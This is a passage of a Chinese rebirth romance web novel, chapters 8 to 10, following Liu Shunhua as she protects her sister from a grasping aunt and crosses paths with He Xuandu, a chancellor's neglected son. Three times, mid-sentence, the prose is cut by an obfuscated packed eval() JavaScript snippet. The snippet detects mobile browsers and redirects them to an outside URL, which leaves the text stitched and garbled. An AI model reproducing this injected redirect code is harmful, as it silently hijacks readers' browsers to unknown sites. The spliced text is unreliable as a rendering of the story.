贺玄度拊掌:“无人教习,竟然能写到如此地步。实不相瞒,看了柳小姐的字后,我深感惭愧,故想求小姐赐墨宝一幅,以供临摹,不知小姐可愿不吝笔墨?” 柳桓安恨不得一脚给他踹下去,妹妹的字怎能交给这个纨绔去亵渎? 他面上依旧从容:“小妹毕竟是女子,多有不便。若贺二公子不嫌弃,我倒是可以写上一幅。” “说实话,有点嫌弃。”贺玄度摸着头:“柳公子的字太端正了一点,实在不适合我。还是柳小姐的字,更适合我。” 柳桓安握紧拳头,竭力让自己镇定。 柳舜华忙按住柳桓安,“兄长,无妨。一幅字而已,贺二公子若当真想练,我改日差人送去便是。” 贺玄度不想她答应得如此爽利,饶有兴致地看着她,“柳小姐真是个畅快人,先行谢过了。” 得了柳舜华的应允,贺玄度才总算消停。 柳桓安一路阴沉着脸,一进城中,他便以道不同为由,迫不及待将贺玄度请下马车。 贺玄度从车上跳下,朝着两人躬身致谢。 他冲着两人一笑:“多谢二位载我一程。下面的路,我要一个人走了。” 柳舜华无端想起那个轮椅上孤零零的背影。 老夫人走后,他一个人坐在老夫人生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484836|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的院落,望着空荡荡的天空。 秋风萧瑟,枯叶满地。 她听到他喃喃道:祖母,这个家,终究还是只剩我一个人了。 待柳舜华缓过神,贺玄度早已转身走远。 落日熔金,一片金黄灿烂里,贺玄度清瘦身影却显得孤寂异常。 柳桓安“啪”的一下甩下车帘,不想再看贺玄度一眼。 “蓁蓁,你怎么就应下了,我分明暗示你,随便打发他便是。” 柳舜华笑道:“我虽非夫子,可有教无类还是听过,他既有心想学,何不成全他?” 柳桓安怕柳舜华糊涂被骗,也顾不上什么背后妄议,“你不常出来走动,不知他在长安的名声。长安第一纨绔这个称号,可不是随便来的。今日这个大白鹅,你瞧着是不是已经够荒唐了?岂不知,比这个更荒唐的多了去了。据说他那个院子里,鸡鸭成群,猫狗一窝的,成日闹得相府不得安生,如此不务正业,哪里有官家子弟的半分风姿。” 贺玄度的院子柳舜华去过,偌大的院落清冷寥落,只廊下水缸里一尾金鱼,孤零零地游弋,哪里有兄长说的这些东西。 她摇头道:“兄长又没去过,怎知不是道听途说?” 柳桓安道:“我虽未去过相府,但曾在街上见到过他几次,每次他都是前呼后拥,提着个鹦鹉招摇过市。还有,他曾一夜在赌坊输了五万钱,被赌坊的人堵在相府门口,此事闹得人尽皆知,最后还是贺玄晖出面才解决。如此纨绔,你莫要同他有牵扯才好,以免累了名声。至于书帖,我想办法回绝。” 柳舜华沉默不语。 柳桓安看柳舜华垂头丧气,安慰道:“我知道,你是在为我担心,你怕得罪了相府。你放心好了,贺玄度在相府并不受重视,贺丞相眼里只有贺玄晖一个儿子。至于贺玄度,也就空有一个相府公子的头衔而已,无关紧要。” 柳舜华凝眉:“无关紧要?可他也是相府嫡子啊。” 柳桓安并未听出柳舜华话里隐隐的不忿,只是道:“他这样的人,放在寻常富贵人家或许还能容他胡闹,可相府是什么地方,一举一动都有人盯着。贺丞相向来内敛谨慎,他却如此肆意妄为,怎会不被贺丞相厌弃。何况,相府还有一个早早入了太学,才学出众的贺玄晖。若他有贺玄晖一半才学,也不至于……算了,不说他了。” 柳舜华没再接话,她心里堵得慌。 车帘微微晃动,柳舜华不觉有些发冷。 春日晚间的风,依旧是凉的。 8. 第 8 章 回到柳府,柳舜华还未进后院,远远便瞧见了柳棠华的丫头抚春。 抚春一看到柳舜华,像看到救星一样,忙跑了过去。 “大小姐,你总算回来了。快去看看二小姐吧,她又被欺负了。” 听她说到棠华,柳舜华心上一阵绞痛,未央宫内那具冰冷的尸身又浮现在脑海。 她强按下情绪,问道:“怎么回事?” 抚春皱眉道:“还不是隔壁的二太太,又带着蔓华小姐来了。” 柳家并非什么高门大户,人丁也没那么兴旺。 老大柳奉,也就是柳舜华的父亲,现任大司农丞。 老二柳信,不过是长安一名小吏。 柳舜华祖父母过世后,兄弟二人早已分家。 抚春说的二太太,便是柳舜华的叔母葛氏。 说到这个叔母,柳舜华就头疼。她这人,惯爱钻营,每次来都要打秋风。 养个女儿也是,凡她看上的东西,便会想方设法占为已有。 有时候是柳舜华的首饰,有时候是胭脂水粉,有时候是衣裙…… 柳舜华为此也反抗过,可每次叔母都会过来帮腔。 她说不过,又没有母亲替自己出头,只能忍气吞声。 方踏进后院,柳舜华便听到葛氏那令人不适的声音。 “我说芊芊丫头,你妹妹看上了,你就让让她得了。一身衣裳,也值得你这样。” 柳棠华有些委屈,小声道:“这个不行,这个是姐姐才给我做的。” 葛氏转头对上孙姨娘:“不是我说你,你好歹也算是这个家的女主子,怎么生出来的女儿这么小家子气。” 柳奉有一妻一妾,正妻也就是柳舜华生母,已过世多年,现府内只有孙姨娘一人伺候。这些年,孙姨娘虽操持着柳家后宅事务,却未被扶正。 葛氏一贯如此,总是先给足孙姨娘脸面,再借机讨好处。 孙姨娘偏吃这套。 果不其然,她拉着棠华劝道:“一件衣裳而已,又不是什么宝贝。你那满柜子都是,又不缺这一件,就让给你妹妹好了。” 柳棠华依旧抱着衣服不撒手,孙姨娘见她如此,顿觉失了面子,作势便要朝她打去。 扬出去的手停在半空,柳舜华抓住孙姨娘的手臂,沉声道:“姨娘,什么了不得的事,要动手打人?” 柳棠华虽是孙姨娘所生,但因是女孩,一向不入她的眼。这些年,她一门心思扑在儿子身上,对柳棠华不甚上心。倒是柳舜华自小与柳棠华一起,一贯待她如珍似宝,护她护得紧。 柳棠华见柳舜华回来,眼眶一红,喊了声,“姐姐。” 柳舜华浑身一颤,缓缓转过身来。 这里没有一袭华服端坐在宝座上的皇后娘娘,只有正缩在一角,委屈得眼泪直流的柳棠华。 一瞬间,柳舜华心如刀绞,再也控制不住,上前将柳棠华揽在怀里。 心中千言万语想要说,到嘴边却只有一声哽咽低唤:“芊芊。” 她抱得太紧,就像怕她会随时离开一般。 柳棠华有些发怔,不过两日不见,姐姐怎么想她想得这般紧。 葛氏实在看不下去,“蓁蓁,你太过了吧,搞得像是我们怎么了她一样。” 孙姨娘也跟着道:“对啊,不过就是一件衣裳罢了。” 柳舜华将柳棠华护在身后,故意道:“姨娘怎么会看上棠华的衣裳?何况这衣裳瞧着,也不适合姨娘。” 孙姨娘一听,她这说的什么话,哪有母亲同自己女儿抢衣裳的道理。 她面上挂不住,嘟囔一句:“不是我,是蔓华。” 柳舜华“哦”了一声,含笑道:“蔓华妹妹瞧上了,就得给她吗?” 葛氏往日里拿捏柳舜华惯了,哪会将她放在眼里,她端起长辈的架子,淡声道:“蓁蓁,你说这话是什么意思?” 柳舜华闻言,抬头看了一眼葛氏。 这一看,看得柳舜华直皱眉。 方才她一心在棠华身上,竟没有留意她这身装扮。 葛氏一向爱炫耀,今日也不例外,穿着件枣红牡丹织锦竖领袄裙,胸前佩着个红玛瑙石串,耳上挂着绿松石耳珰,头上戴着一支莲花玳瑁簪,发间杂饰珠玉。 一个小吏之妇,如此招摇,也不怕招来祸端。 柳舜华突然想起,她好像是曾招惹过祸端。 当年,棠华刚被封为皇后,她便同二叔一样,不知收敛,反而借着柳家的势,频繁出入城中贵妇们的宴会场。 那些平常官宦人家,敬她是皇后叔母,给她几分薄面,她便自以为是皇亲国戚,愈发得意起来。 有次她不知死活,跑到贺家亲族的宴会上,替她那不争气的儿子求娶贺家小姐。 贺家是什么门楣,新帝都是贺丞相扶持上位,朝政全赖贺丞相。 贺家小姐哪会将她看在眼里,根本不搭她的话。 她便仗着吃了点酒,破口大骂。 贺家人大为恼怒,不依不饶,逼着她下跪道歉才罢休。 此事很快在城中传开,棠华因此颜面扫地。 而她,也毫不意外引来丞相夫人一阵奚落。 思及过往,柳舜华对葛氏的厌恶又多了几分。 葛氏见柳舜华似是打量着自己,莫名有些不自在。 她再去望时,却见柳舜华已拉着棠华坐下,定定道:“我的意思,再明白不过,不给。” 听到柳舜华如此干脆地拒绝,那种不舒服的感觉又来了。 葛氏忍着怒气,终是换了一副温柔的口吻:“萋萋是妹妹,你们做姐姐的,疼惜一点自己的妹妹,不是应该的吗?姐妹之间,相互帮衬着,以后等我们老了,你们好歹也有个依靠。” 柳舜华心内一声嗤笑,相互帮衬,这么些年,她和棠华何曾见过她们一针一线。 她扬眉道:“是吗?婶婶方才说相互帮衬,不知蔓华妹妹日后打算如何帮衬?” 这次葛氏没有恼,整个人反而傲慢起来:“我们萋萋,生来模样就好,那必是有好姻缘的。昨儿个那张媒婆便上门,要将萋萋说与京兆尹家卓公子。这若是成了,以后啊,你们都要仰仗我们萋萋呢。” 葛氏说蔓华模样好,孙姨娘起初还很不屑。 他们家两个姑娘,舜华娇艳,棠华水灵,哪个不比她俊俏。 可听到蔓华要说与京兆尹独子,羡慕的眼神挡都挡不住。 怎么别人就这么好命,偏她的女儿,只知道吃吃睡睡。 柳舜华淡笑一声:“是吗,如此要提前同蔓华妹妹道喜了。” 上辈子,柳蔓华后来的确是嫁了京兆尹之子,不过却是因为棠华的缘故。 葛氏有些得意:“一件衣裳算什么,日后少不了你们的好处。” 柳舜华道:“不用日后,侄女现下就需要帮衬。今日去了长陵侯府的浮霞园,侄女还被人羞辱说没一件像样的佩饰撑场面,我瞧叔母胸前的红玛瑙就挺好,不如送给侄女如何?” 葛氏下意识地护紧胸前的红玛瑙,一旁的柳蔓华忍不住上前道:“你疯了?母亲的东西,为何要给你?” 柳舜华一脸失望:“叔母,您是长辈,应当爱惜我们晚辈,一个红玛瑙而已,又不是什么宝贝。侄女既然看上了,怎么还舍不得给侄女了?” 葛氏结结巴巴道:“这……这能一样吗?” 柳棠华在柳舜华身后,歪头背过身去,生怕自己一不小心便会笑出来。 柳舜华道:“怎么不一样,叔母不是说,要相互帮衬。我这以后出去有了面子,咱们柳家脸上都有光不是。何况蔓华妹妹不久就要飞上高枝了,到时让妹妹给您添些新的岂不更好?” 葛氏不知柳舜华今日吃错了什么药,竟如此不管不顾,指着柳舜华劈头盖脸道:“你就是这么同长辈讲话的?在你眼里,还有没有尊卑?” 柳舜华神情淡然,一脸平静:“蓁蓁正是尊着叔母,才渴求叔母垂爱。蓁蓁自幼丧母,见到叔母便如同见了亲生母亲一般,想要同叔母撒个娇,讨个东西。没想到,到了叔母这,竟成了不讲尊卑。” 葛氏气得指着她道:“你,你胡说八道。” 柳舜华一副受伤的表情,“叔母处处误会,让蓁蓁日后如何敢亲近?” 葛氏气结,怎么她以往没发现,柳舜华原来是个厉害的。 柳舜华冷眼看着她,上辈子她任由葛氏兴风作浪,不过是因连着血缘亲情。葛氏却以为捏住了她的软肋,屡次迫使她就范。可如今重活一遭,对这一家子牛鬼神蛇,她早已寒心。 柳蔓华一向机灵,她见情景不对,在旁摇着葛氏,期期艾艾道:“娘,不就是一件衣裳吗,女儿不要了。既然姐姐不欢迎,咱们还在这里做什么,走就是了,何苦留在这里碍她们的眼。” 说罢,柳蔓华搀着葛氏,气冲冲地走了出去。 孙姨娘尤想着要巴结,忙起身追出去相送。 看她们走远,柳棠华在椅子上笑得东倒西歪,“姐姐,你看她们,笑死人了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484837|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳舜华看着活生生的妹妹,就这么站在眼前。 梦里都不敢梦的场景,再次出现,不觉又红了眼眶。 她敛了情绪,笑着问:“那你可还觉得委屈?” 柳棠华倒了一杯茶递过去,笑道:“自然不委屈。姐姐今日好生厉害,竟然说得叔母都答不上来。姐姐这些说辞,是跟谁学的,我也要拜师去。” 柳舜华手中杯盏微微晃动。 上辈子她是有些小聪明,可却缺少智慧。 在家时她凡事都靠着爹爹还有哥哥,并未受过什么挫败,也未曾体会过人情冷暖。 嫁入相府后,不得贺玄晖喜欢,日子久了,府内那些人便想着磋磨自己。 她也曾气急败坏地反抗,可每次都不得其法,白白受气。 她吃尽了哑巴亏,束手无策,便自暴自弃。 直到遇见贺玄度。 贺玄度虽是相府二公子,在相府处境却同她一样,也有些微妙。 大约是同病相怜,都是相府边缘人。这样不染世俗的人物,却教会了她如何反抗。 贺玄度同她讲,世人所求,无非三点:钱,权,还有心。 但凡所求,皆是软肋。 钱和权,柳舜华还懂。可是心,她不懂。 贺玄度看着一脸懵懂的她,为她添了一杯茶:“比如你,想逃却不敢逃,不就是因为皇后娘娘,还有你的父兄。相府与皇权纠葛,他们不会允许你离开。你若只是你,大可与兄长和离。可若是皇后娘娘的姐姐与相府长子和离,朝中那些大臣难免会多想,相府不想看到这些。所以,你不敢与相府为敌。你不求财不求权,不就是为了心中那至亲之情。” 他声音渺远:“倘若有天,你狠心舍了这份情,他们又能奈你何?” 柳舜华自然不可能舍弃亲情,不过反复品味着贺玄度的话后,她到底开窍了。 世人行为虽千差万别,可总有其真实意图,只要参透这点,诸事便宜。 她想到府内那些不开眼的下人。 他们不也是拿捏了她的软肋,知晓她抹不开脸面,又无人可依,才敢苛待与她。 他们如此落井下石,撇开相府夫人的默许,更多的是想看着那些他们曾经需要仰望的人,跌落到谷底,来满足他们那一颗扭曲的心,以此获得快感。 想通这点,柳舜华在相府的日子便没那么难了。 每遇下人刻薄,她便拉下脸面,大大方方地站在门口据理力争,把事吵到明面上来。 她也不怕闹大,左右她是相府长媳,要丢也是丢他们相府的脸面。 如此几次下来,相府夫人气得发抖,却也无可奈何。 她种种行径还是传到了贺玄度的耳中。 她以为,贺玄度那样清冷孤傲之人,多少会对她有所不齿。 岂料再次相见,贺玄度只是轻轻一笑,说了句“孺子可教。” …… 柳棠华见柳舜华有些出神,忍不住晃动着她的手臂,轻声问道:“姐姐,你怎么了?” 柳舜华回过神来,摇摇头:“没事,就是昨夜没有休息好,又起了个大早,有些乏了。” 柳棠华松了一口气,圆圆的脸上瞬间笑成一朵花:“那便好,我还以为姐姐给叔母气到了呢。” 柳舜华伸手捏捏她的脸:“她们那些人算什么,姐姐只要你好好的。” 柳棠华乖巧点了点头,“姐姐既然乏了,可要好好休息。” 入夜,芳草整理好床铺已经去休息了,柳舜华却毫无倦意。 清辉满地,窗台上芍药香梦正酣,柳舜华失神地望着遥挂天际的新月。 她想不明白,贺玄度为何会变成如今这副模样。 不过比起这个,她最担心的,还是相府是否会走上弑君的道路。 她深知无论相府是否成功,贺玄度都不会有好结果。 若是成功,好处自然落在贺玄晖头上。 若是失败,贺玄度必受牵连。 这辈子,贺玄度若想免于受到波及,除非与相府做好切割。 可他是相府嫡子,与相府的关系,怎能说断就断。 柳舜华思来想去,也只有贺玄度离开长安城,远走高飞,才有可能避免。 若是上辈子的贺玄度,但凡双腿正常,他多半会有如此抉择。 可如今的贺玄度…… 柳舜华拿不准,何况,他们并无什么交情。 想到如今的贺玄度,柳舜华拉过被子蒙住头,她实在不忍多想。 9. 第 9 章 柳舜华到集市时候,贺玄度方醒来。 贺玄度是被院子里的大白鹅吵醒的。 他睁了一下眼,打个哈欠,又闭上,“洪声,你不知道喂食吗,怎么一大早就叫?” 洪声急匆匆跑进来,“小祖宗,你可快些起来吧,老爷让人叫你马上过去。” 贺玄度不慌不忙起身,懒懒道:“老爷身边的人?一群臭烘烘的腌臜东西,也敢进我院子。” “是刘管事。未曾进院,他才踏进一只脚,那大白鹅追着他就咬,给他吓得不轻,隔着墙交待了一句,便跑了。” 洪声笑着递上衣物,“想想昨日费老大劲抓它回车上,值了。” 贺玄度穿了衣服,走到门口对着大白鹅眉飞色舞:“笨丫头,可以啊,比后院那些狗子还厉害。做得不错,回来赏你肉吃。” 洪声提醒道:“公子,鹅它不吃肉。” 贺玄度拍了拍他:“虫子也是肉,去,捉几条虫子给它。” 洪声哭丧着脸,怎么公子总是会有这些奇奇怪怪的吩咐。 贺玄度穿戴好,想起了什么,问道:“昨日在浮霞园折的桃花可还在?” 洪声回道:“小的一直护在怀里,好着呢,晚间一回来便交给了银纤姑姑养着。” 贺玄度点头:“祖母这几日约摸着要回来,你们先好好养着,回头我给她老人家送去。” 洪声嬉笑道:“公子事事都想着老夫人,老夫人喜好一直记在心里,难怪老夫人疼你。” 贺玄度到了荣安堂,见贺留善正坐在堂前,贺玄晖与贺容暄分坐两侧。 他还算规矩地行了礼,“父亲好。” 对这个二儿子,贺留善一向不甚留意,这些日子,又一直忙于朝政,他已许久未见过贺玄度了。 贺留善看着他,他似乎长高了一些,已经赶上了贺玄晖的身量。 看着倒也是身姿挺拔,落落如松。 他在贺玄晖身旁落了座,不同于贺玄晖身姿端正,他松散地坐着,不时打着哈欠,一双眼中满是对世俗的不屑,和他那个自认为读了点书,便眼高于顶的娘一个样。 贺留善皱眉。 分明一身君子骨,怎么偏生如此纨绔相。 他怒气又增了几分,厉声道:“怎么起得这么晚,日日睡到巳时方起,成何体统。” 贺玄度面无表情地应着,“父亲教训的是。” 贺留善话入正题:“我听说,昨日你妹妹在长陵侯府被刁难,你非但不帮,反而火上浇油。” 贺玄度一声嗤笑:“被刁难?父亲,您看看她这样的,能被人刁难。” 贺容暄正端起杯盏,啪地一下放在桌上:“你什么意思,我怎样的了?” 贺玄度往座椅后靠了靠,嘴角勾笑:“就是如今这样的。” 贺玄晖被他们吵得头大:“你们都住口,父亲在此,你们也敢如此放肆。” 贺留善一下朝,贺容暄便赶过来请安,哭诉昨日在浮霞园两次被羞辱。 见女儿受委屈,他当即有些恼怒,未问清楚前因后果,便让人叫了两个儿子过来。 贺留善皱眉道:“彰儿,你说怎么回事?” 贺玄晖解释道:“那姑娘是柳桓安的妹妹,我看她并无刁难之意。此事,容暄确实夸大了些。” 柳桓安,贺留善瞬间明白怎么回事。 大约是贺玄晖与长陵侯府的人捧着柳家,这丫头感觉受到了冷落,看不过去。 贺容暄盯着贺玄晖:“兄长,怎么你也替她说话?我好心赠她步摇,她却不屑一顾,不是羞辱是什么?” 贺玄度懒洋洋道:“好心地扔到地上,然后居高临下看她屈身,来体现你的尊贵。” 贺容暄冷笑:“昨日一入浮霞园,我便瞧见你们两个拉拉扯扯,分明是旧相识,所以你才会帮着她。以我看,你们……” 贺玄晖听不下去,喝声道:“容暄住口,你堂堂相府小姐,怎可处处人前争长短,又事后唇齿之间坏人名声。” 贺容暄被贺玄晖一喝,立时住了口,憋着气不说话。 贺留善见女儿委屈,不轻不重道:“小女儿家的以后出言要谨慎,万不可像今日这般。” 贺容暄本就不服气,眼光一瞥,正瞧见贺玄度在旁幸灾乐祸。 她气得咬牙,开始胡乱攀扯,“若非二哥在桃园内帮腔,那柳舜华早就将步摇捡起来了,哪里会有后面这些事?” 贺留善顺势将矛头转向贺玄度,“不管如何,你身在相府,曦儿是你的妹妹,就算她有什么错,你事后告诫她就算了,怎可在外人面前如此对待你的亲妹妹?” 贺玄度要笑了,他这个爹,在朝堂有多公正,在家就有多偏心。 从小到大,但凡与他们兄弟姐妹有争执,错的总是他。哪怕毫不相干,只要他一出现,最后不是他也要是他。 他直起身子,冷声道:“以爹的意思,就算她杀了人,我也不能多说一句,反而还要替她收尸才行?” 贺留善气得手发抖,伸手抓起桌上的杯盏朝他砸了过去,“你个混账东西。” 贺玄度歪头躲了过去。 他起身,躬身道:“既然父亲不喜欢看到我,我这就退下。” 说罢,头也不回地走出荣安堂。 洪声早早候在荣安堂外,一见贺玄度出来,立即迎了上去。 “公子,您没事吧?” 一片玉兰阴影里,贺玄度抬起头,望着高墙之外的天穹:“出去吧,这里太憋屈了。” 贺留善被气得不轻,贺容暄也是。 她指着贺玄度渐远的身影,“父亲,您瞧他那个样子。” 贺玄晖出声:“容暄,你少说两句,还嫌父亲气得不够轻。依我看,玄度确实是顽劣了一些,可错的却是你。” 贺容暄气道:“我还是不是你亲妹妹?你竟然帮着他说话。” 贺玄晖道:“正因为你是我妹妹,我才要提醒你,以后行事莫要如此张扬。还有,莫要与柳家为难。” 贺容暄正要理论,贺留善却点头道:“曦儿,你兄长说得没错,适才当着那混账的面,爹不好驳你面子。日后要多听你兄长的话,收收性子,如今你也大了,不可再这般任性。” 贺容暄满腹委屈:“大了,大了……大了就要事事忍着吗?怎么我小的时候不教我收敛,这个时候来说。我学不会,也不想学。你们若是看我不顺眼,我走便是。” 贺留善看着小女儿气鼓鼓地离开,无奈道:“这孩子,被你娘给宠坏了,没有一点规矩。彰儿,日后你要留心教着点。” 贺玄晖叹道:“她自幼受尽万千宠爱,不肯受一点委屈。娘又事事护着,她哪肯听我的。” 贺留善摇摇头:“算了,由她去吧。只要贺家还在,总能护她一世周全。” 贺玄晖思忖片刻,“父亲,容暄方才有些颠倒黑白了,昨日分明是她两次刁难。只怕如今,柳桓安心里对相府已有成见。” 贺留善揉着头:“柳桓安,将来或得皇上重用,此人必须要为我所用,要想办法继续拉拢才行。” 贺玄晖眸光一闪:“再过几日,便是祖母大寿,不如借此邀他过府一叙。” 贺留善颔首道:“也好。正好我也想见见这个柳桓安,看看他是否真有些本事。” …… 街上熙熙攘攘,柳舜华避开人群,进入街道转角的书铺。 她在铺子内转了一圈,找到一本《庄子》,又拿了些纸。 芳草看她进书铺买纸,已觉稀奇,又见她看书,便问:“小姐,这是什么书?” 柳舜华顺口道:“《庄子》,我才看了两篇,想把剩下的看完。” 芳草疑道:“小姐什么时候看的,我怎么不知道?” 柳舜华顿了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14484838|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,此前她的确不爱读书。她看书的习惯,是跟着贺玄度养成的。 贺玄度尤爱读书,书房内,上至诸子百家,下至各类杂篇,应有尽有。 他教她读的第一本是《诗经》。 当时,他忙了半月,将《诗经》按春夏秋冬四时,以及各类场景,重新装订,以便她每个时节来读相应的内容。她本就聪慧,如此一年下来,她十分轻松便将其读完。 自此,她从书中得了趣味,愈发爱读。 她身故前,手头上正读着的,便是《庄子》。 柳舜华将书与纸递给芳草,“我到那边看看,你先去结账。” 书铺临窗放了一张方桌,像是临时写字读书所用。 柳舜华想着,既然人都出来了,择日不如撞日,不如现下就写好,寻个机会当面送给贺玄度。如此一来,还能见上他一面。 芳草付过钱,柳舜华问掌柜的借了笔墨,当即摊开纸张,写了起来。 才将笔放下,柳舜华便听到外面一阵吵闹。 她推开窗缝一瞧,正见贺玄度提着个鹦鹉与人争吵。 贺玄度对面之人,柳舜华认识。 他是贺留善的续弦,也就是她前世的婆母陈氏的侄子,贺玄晖的表哥,陈嘉良。 看到陈嘉良,柳舜华眉头皱起。她对此人,着实厌烦。 有次陈氏过寿,陈嘉良过府贺寿,不知怎地,醉酒之后碰到了她的侍女妙灵。 他见妙灵生得貌美,便动手动脚。 妙灵吓得惊叫,柳舜华听到后忙赶过去制止。 她嫁进相府后鲜少出院,陈嘉良并不认识她,只当她也是前来赴宴的哪家小姐,对着她污言秽语。 柳舜华登时怒了,一巴掌甩在他脸上。 陈嘉良被扇得有些懵,待反应过来后,上前便想打回去。 还是贺玄晖及时出现,拉着他去了前厅。 宴会结束,芳草告诉她,陈嘉良醉酒不慎跌入池塘,弄得一身狼狈。她和妙灵听后,乐了一晚。 …… 陈嘉良看着地上被撞落一地的果子,摇头晃脑道:“贺玄度,你那个破鸟到底给不给我?” 贺玄度摸着肩膀上的鹦鹉:“你嘴巴给我放干净点,它有名字,叫绿玉。一盒破果子,绿玉又不是故意的,我赔给你便是。” 陈嘉良嘴角一咧:“你这个破鸟,害得小爷我无故摔了一脚,赔我就完了?今日我非要逮了它炖汤喝不可。” 贺玄度将鹦鹉揣进怀里,“陈嘉良,你敢?你若敢动绿玉,我跟你拼了。” 陈嘉良不屑:“一个破鸟,我动它怎么了。姑丈早就不满你整日养这些玩意,你还指望着他会为了一只鸟责骂我,别做梦了。” 贺玄度恼道:“你不过一个相府外人,仗着点势,也敢动我。” 陈嘉良得意地仰着头:“外人又如何,你也不看看,相府如今是谁当家,是我姑姑,不是你那个早死了几百年的娘。” 贺玄度听他提起亲娘,忍无可忍,挥着拳头便冲了上去。 陈嘉良身后的小厮忙拦着,洪声见贺玄度被人架起,跑上前去帮忙,两边人很快扭在一起。 陈嘉良仗着人多,退到一边吆喝着:“把那破鸟从他怀里掏出来,给我摔死了。” 眼前这情况,只怕贺玄度要吃亏。 柳舜华再坐不住,起身朝门外跑去。 贺玄度被按在墙上,挣扎着护着怀里的鹦鹉,可无奈对方人多,绿玉还是被掏了出来。 他怒吼一声:“陈嘉良,我说过,若是你敢动它,你死定了。” 陈嘉良推开几个小厮,一把将鹦鹉抢过来,“好啊,我等着。” 贺玄度看着陈嘉良举起的双手,眼底通红,紧握起拳头。 “贺二公子,原来你在这呢。” 贺玄度于纷乱中回头,正对上一双清亮的眸子。 10. 第 10 章 街角墙边,一枝桃花垂下,灼灼盛开。 柳舜华站在花下,梳着迎春髻,身穿绛纱曲裾裙,娇花柳柔,手中捧着一张纸,脸上笑意盈盈,双眸像是凉州城的万千繁星,清澈澄亮。 陈嘉良不觉看呆了。 绿玉趁着这空隙,对着他的手啄了一口。 陈嘉良吃痛,手一松,绿玉扑腾着翅膀落到贺玄度肩上。 陈嘉良方想张口去骂,便听一声悦耳的声音。 “二公子,老夫人到处找您。您怎么还这在这里闹呢,她老人家都等急了。” 贺玄度眼珠一转,咳了一下:“你去告诉祖母说,孙儿被一条野狗挡了道,一时半会怕是过不去了。” 陈嘉良一惊,原来老夫人已经回来了,还在这附近,怪不得贺玄度方才有恃无恐。 相府老夫人对这个纨绔极为宠爱,若不是丞相顾及老夫人,就凭他这副模样,怎能在相府立足。 区区一个贺玄度,陈嘉良根本不放在眼里,可他到底不敢在老夫人眼皮子底下造次。 他冷哼一声,对着一众小厮挥了挥手,“贺玄度,下次你就没这么幸运了。” 一双贼眼在柳舜华身上盯了片刻,这才带着人离开。 看到陈嘉良走出街角,柳舜华才长长松了一口气。 这边,贺玄度已从容整理好衣衫,再转身时,又是此前那副慵懒放荡的模样。 将绿玉递给洪声后,贺玄度朝柳舜华走去。 他比她高出许多,就这么居高临下地垂眸,一双桃花眼中满是打量。 这位柳小姐,昨日无故出现在相府门前,拦住他的路,看到他的那一刻,明明神情激动,结果转头却说认错了人。 今日她又恰巧出现在此处,替他解围。 两次相遇,绝非偶然。 柳舜华被他盯得有些心虚,忙将此前准备好的纸举起,轻声道:“贺二公子,您要的字帖。” 她半垂着头,不敢去看他。 贺玄度低头扫了她一眼,捧着纸的手,微微有些颤抖。 方才那样的情形,她都镇定自如,怎么如今,却有些怕了? 贺玄度嘴角一扬,还真是有趣极了。 他伸手接过她递来的纸张,修长的手指无意划过她的指尖。 微凉又有些湿润的触感,让柳舜华神思微荡,倏忽收回了手。 贺玄度将纸展开,瞥了一眼: 蟋蟀在堂,岁聿其莫。今我不乐,日月其除。 无已大康,职思其居。好乐无荒,良士瞿瞿。[1] …… 目光落在“好乐无荒”四字上,贺玄度微微一笑。 她倒是懂得劝学。 他放下纸张,笑道:“我随口说说,柳小姐还当真了。” 柳舜华抬眸,眼神清澈而诚挚,“你说的话,我自然会记得。” 贺玄度握纸的手微微一颤,心底突地涌起一股暖流。 他不动声色,将纸收起,塞到怀里。 “方才多谢。”他想了想,又加了一句:“柳小姐为何要帮我,你不怕惹祸上身?” 柳舜华咬着唇,思量着要如何应对,一抬头看到洪声手臂上的鹦鹉,顿时有了主意。 她指着绿玉道:“鹦鹉,我很喜欢鹦鹉。” 贺玄度脸色一沉,她替他解围,只是因为喜欢绿玉。 绿玉这时突然开口:“柳舜华,柳舜华……” 贺玄度快步走过去,一巴掌拍在绿玉头上,“乱叫什么。” 绿玉被他一拍,张牙舞爪地扇动着翅膀去反击。 柳舜华第一次见能说话的鸟,还叫着她的名字,忍不住跟着凑上前去,用手抚摸着它被贺玄度拍乱的羽毛。 她动作极轻,纤细的玉指在绿得发亮的羽毛中更显娇嫩,微微歪着的侧脸在日光下白玉一般无瑕。 她柔声道:“绿玉,真好听。” 绿玉被她摸得舒服极了,不停地摇着尾巴示好。 洪声笑道:“柳小姐,绿玉不喜与外人亲近,她这是喜欢你。” 柳舜华抬头一笑:“我也觉得,我们有缘。” 她本就面容姣好,此时一笑,更带几分天真,让人顿觉无比松弛。 这下不但绿玉,就连洪声都对柳舜华有了好感。 他道:“绿玉通人情,那都是柳小姐人美心善,它才愿意亲近。” 